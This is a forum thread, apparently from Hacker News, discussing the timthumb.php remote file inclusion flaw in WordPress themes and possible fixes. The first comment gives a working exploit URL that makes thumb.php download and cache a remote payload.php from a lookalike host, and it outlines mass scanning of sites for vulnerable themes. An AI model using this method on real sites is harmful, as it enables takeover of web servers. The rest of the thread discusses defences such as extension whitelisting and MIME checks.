[patio11]

No, you can execute the script directly if you know or can guess the location of it, straight through your web browser.

Accessing

  http://www.example.com/wordpress/wp-content/ themes/vulnerable-theme/thumb.php?src=flickr.com.example.org/payload.php 

is sufficient to cause it to download payload.php and cache it. Afterwards, you can access the PHP file in the same manner to execute it.

One could trivially make a list of signatures for vulnerable themes (for example, all the ones I paid for from a certain prominent Wordpress themes company), and then exploit any website whose main page matched a signature. Alternatively, you could just speculatively hit a few hundred URLs on every domain you found.

[teyc]

Is there any reason why a check on the extension wouldn't solve the problem?

   $fileDetails = pathinfo($src);
   $ext = strtolower($fileDetails['extension']);

[kaerast]

On some badly configured Nginx servers the filename extension isn't parsed correctly. A php.jpg file will be executed as php because a badly written regex will match the .php.

Even if you don't have such vulnerabilities you probably don't want people to be able to upload images to your server. They could easily send you over quota on shared hosting and use your bandwidth for serving their own images (including child porn).

[teyc]

Yup. That would be my worst fears.

[dave1010uk]

On a CubeCart pluggin that had the same flaw as the timthumb.php one, I whitelisted image file extensions. This should work, as long as there aren't and local file include vulnerabilities in the site.

This still allows the attacker to host images on your site though.

[teyc]

> This still allows the attacker to host images on your site though.

Well put.

Probably best to remove allowed hosts altogether.

[Udo]

For most purposes, this would work. If you want to be extra safe, you can call getimagesize() on the file - this returns among other things the actual mime type of the file, allowing you to exclude anything but real image files.